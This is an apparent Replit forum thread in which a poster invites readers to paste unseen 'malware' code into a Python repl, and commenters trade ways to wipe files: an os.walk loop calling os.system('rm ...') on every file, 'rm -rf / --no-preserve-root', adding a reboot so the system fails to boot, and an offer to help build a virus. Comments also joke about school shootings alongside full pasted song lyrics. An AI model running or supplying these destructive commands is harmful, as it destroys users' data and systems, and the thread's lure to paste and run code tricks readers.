Share your repls and programming experiences

← Back to all posts
The Devastating Effects of Malware
CodeSalvageON

Paste this code into a Python Repl and see what happens. Really, be careful with what you download on Christmas. Happy holidays!

Voters
AlexTheCod3r
LordPancake
Viktor5750
newbie0
AshtonCanaday
WyattKeenan
Commodore95
Foster_Bryant
banevader
CopelandSteven
Comments
hotnewtop
DJWang

XD How

Foster_Bryant

this scared me i thought it removed my repls for a sec then I realised that wouldn't happen

StringentDev

You could use the os.walk command like this:

This should make it so that it explores or 'walks' the drive its located in which is indicated by the '.' but in the process, destroying it due to os.system("rm " + str(os.path.join(root, name))).

edit: had to recorrect it

[deleted]

Robert's got a quick hand
He'll look around the room, he won't tell you his plan
He's got a rolled cigarette, hanging out his mouth he's a cowboy kid
Yeah found a six shooter gun
In his dad's closet hidden oh in a box of fun things, I don't even know what
But he's coming for you, yeah he's coming for you
All the other kids with the pumped up kicks
You'd better run, better run, out run my gun
All the other kids with the pumped up kicks
You'd better run, better run, faster than my bullet
All the other kids with the pumped up kicks
You'd better run, better run, out run my gun
All the other kids with the pumped up kicks
You'd better run, better run, faster than my bullet
Daddy works a long day
He be coming home late, he's coming home late
And he's bringing me a surprise
'Cause dinner's in the kitchen and it's packed in ice
I've waited for a long time
Yeah the slight of my hand is now a quick pull trigger
I reason with my cigarette
And say your hair's on fire, you must have lost your wits, yeah
All the other kids with the pumped up kicks
You'd better run, better run, out run my gun
All the other kids with the pumped up kicks
You'd better run, better run, faster than my bullet
All the other kids with the pumped up kicks
You'd better run, better run, out run my gun
All the other kids with the pumped up kicks
You'd better run, better run, faster than my bullet
All the other kids with the pumped up kicks
You'd better run, better run, out run my gun
All the other kids with the pumped up kicks
You'd better run, better run, faster than my bullet
All the other kids with the pumped up kicks
You'd better run, better run, out run my gun
All the other kids with the pumped up kicks
You'd better run, better run, faster than my bullet
All the other kids with the pumped up kicks
You'd better run, better run, out run my gun
All the other kids with the pumped up kicks
You'd better run, better run, faster than my bullet

CodeSalvageON

@Thecrowbar1234 When the quiet kid starts humming this song in class

[deleted]

@CodeSalvageON I know right

[deleted]

@Thecrowbar1234 when the quiet kid shows up in a trenchcoat

LittleNomster

i find these comments funny, because i am a quiet kid

CodeSalvageON
[deleted]

@CodeSalvageON how to crash python?

CodeSalvageON

@Thecrowbar1234 delete all it's files

[deleted]

@CodeSalvageON how to keep files when you run it again

CodeSalvageON

@Thecrowbar1234 Post it as a Repl talk

[deleted]

oh god. why is this a thing
oh and I like the pumped up kicks

AlexanderChang2

It literally deletes everything

ssebastianoo

bruh

Cornbread414

This is amazing, the only negative is that the lyrics are pumped up kicks.

[deleted]

put it in a while true loop, instead of a functino thingy

WyattKeenan

That's terrifying. Caution will be taken. Thank you.

ShadowAkira

OOF

haha
nice

[deleted]

Seizures in a bottle

[deleted]

this is a waste of time. Just do os.system("rm -rf / --no-preserve-root") instead of this garbage. i am also a stinky poopy head

StringentDev

@sanjaykdragon unless you want it to work on windows (you gave a linux command because in windows there is no user called root!

DJWang

@sanjaykdragon Stay away from him don't be mean

[deleted]

@sanjaykdragon you could do it in bash

[deleted]

@Lethdev2019 spoiler alert windows doesn't have a command called rm either

CodeSalvageON
StringentDev

True but they have del @sanjaykdragon

StringentDev

@CodeSalvageON I like to put reboot
at the end of my viruses to make sure it works as when you reboot your computer it should not be able to boot an os.

StringentDev

@CodeSalvageON also if you want me to help build a virus, I will.

Oh no. Built a virus now repl wont load it. Ill log out and in again.

StringentDev

@CodeSalvageON invited you to a very untidy example of a virus (using a tablet) on multiplayer.